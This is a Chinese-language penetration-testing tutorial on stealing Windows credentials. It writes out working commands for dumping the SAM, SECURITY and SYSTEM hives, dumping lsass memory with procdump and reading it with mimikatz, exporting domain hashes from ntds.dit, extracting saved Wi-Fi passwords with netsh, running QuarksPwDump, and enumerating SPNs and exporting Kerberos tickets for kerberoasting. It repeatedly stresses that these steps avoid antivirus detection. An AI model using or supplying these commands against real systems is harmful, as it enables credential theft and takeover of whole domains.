在内网渗透中,获取用户账户的明文或hash至关重要,接下来我将详细介绍如何获取明文和hash。
SAM简介
SAM(安全账户管理器),SAM存放在注册表中,SAM用来存储Windows操作系统密码的数据库文件,为了避免明文密码泄露,SAM文件中保存的是明文密码经过一系列算法处理过的Hash值,被保存的Hash分为LM Hash(已废弃)和NTLMHash(长度32bit由字母数字组成),现在用户凭证是以NTLM HASH形式保存。在用户在本地或者远程登陆系统时,会将Hash值与SAM文件中保存的Hash值进行对比。在后期的Windows系统中,SAM文件中被保存的密码Hash都被密钥SYSKEY加密,接下来将对sam进行利用。
**使用该方法的好处:**可以不用在目标主机上上传任何的文件,只需要将湖区的文件导出到自己本机进行处理,可以绕过防护软件。
首先利用注册表命令将目标机的sam、security、system文件导出。
reg save hklm\sam C:\sam.save
reg save hklm\security C:\security.save
reg save hklm\system C:\system.save
将文件拷贝到我们自己的主机,这样可以不用在目标机上使用工具包,不用考虑免杀和环境问题,因为以上命令都是系统自带,使用secretsdump需要在python环境下,用impacket的 secretsdump脚本加载,在运行脚本时,需要将这些文件全部放在同一目录。并且需要先安装impacket模块,Python脚本才能正确运行。
secretsdum下载地址:百度网盘 请输入提取码
提取码:4534
secretsdumps.py -sam sam.save -security security.save -system system.save LOCAL
可以观察到各种都密码显示出来了
当然也可以使用mimikatz显示hash,这个只能显示部分hash。
Procdump是微软官方发布的工具,使用该工具可以绕过大多数的防护软件,procdump.exe把进程lsass.exe 的内存dump下来,将获取的lsass.dmp拷贝到本机上,再使用本机的mimikatz获取hash与明文
下载地址:
ProcDump - Windows Sysinternals | Microsoft Docs
进程lsass.exe中存在密码信息,使用Procdump获取lsass.exe中的信息procdump -accepteula -ma lsass.exe lsass.dmp
将lsass.dmp导出到本机后,使用mimikatz获取明文密码,这样就可以不用将mimikatz传入到目标机中,可以防止mimikatz被杀的可能性。
privilege::debug 提升权限
sekurlsa::minidump lsass.dmp 用mimikatz载入lsass.dmp
sekurlsa::logonPasswords full 获取明文密码和hash
Windows系统为了保证用户明文密码不会被泄漏,将密码转换为HASH值进行身份验证,被保存在SAM或者ntds.dit中(mimitakz,procdump等等),域中的所有账号密码存放在Ntds.dit,如果拿到,相当于拿到整个域权限。这个思路在域渗透中尤为重要,因为这里面包含着所有域用户的hash,当然该思路只对DC生效。使用该方法不用担心被杀毒软件查杀,因为不需要上传任何工具去目标机上。
手动导出NTDS.dit和System,放在c:\users\tmp目录下ntdsutil "ac i ntds" ifm "create full c:\users\tmp" q q
提取用户hash,这里推荐使用NTDSDumpEx:
下载地址:Releases · zcgonvh/NTDSDumpEx · GitHub
NTDSDumpEx -d ntds.dit -s system -o domain.txt
获取hash,并且保存在domain.txt文件中
使用系统自带命令不用担心被杀毒软件查杀netsh wlan show profiles
系统命令获取登录过的WiFi名称
获取TP-LINK_5358中的WiFi密码netsh wlan show profile name="TP-LINK_5358" key=clear
获取所有连接过的wifi密码:
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
Quarks PwDump 是开放源代码的 Windows 用户获取工具,这款工具是一款Hash注入神器,不仅可以用于Hash注入,也可以直接获取明文或Hash。这款工具也分为32位和64位两个不同的版本,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。但使用Quarks PwDump有可能被查杀,因为毕竟不是微软官方的工具,并且需要powershell环境。
下载地址:百度网盘 请输入提取码
提取码:dzgw
http://code.google.com/p/quarkspwdump/(需要下载)
QuarksPwDump -h
查看选项
QuarksPwDump -dhl
获取本地的hash
QuarksPwDump -dhdc
获取域内的hash值
SPN(服务主体名service principal name)是微软为了在域环境中方便管理资源而为每种资源分配设计的一种表示方法(或者说SPN是使用Kerberos身份验证的网络中唯一的标识符),凡是使用Kerberos身份验证的网络中,都必须在机器账号或用户账号下为服务注册SPN(每个使用Kerberos的服务都需要一个SPN)在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerberoasting攻击的第一步。
使用该方法有两个缺点:1.需要powershell 2.mimikatz容易被杀毒软件查杀
查看指定域ROOTKIT.ORG注册的SPN:setspn -T ROOTKIT.ORG -Q */*
如果指定域不存在,则默认切换到查找本域的SPN
Setspn -q */*
获取所有服务
这里搜索MSSQL服务Setspn -q */* | findstr "MSSQL"
将票据导出kerberos::list /export
查看所有的票据
kerberoast下载地址:GitHub - nidem/kerberoast
在运行时需要在python3以上的环境运行,不然会报错
爆破出密码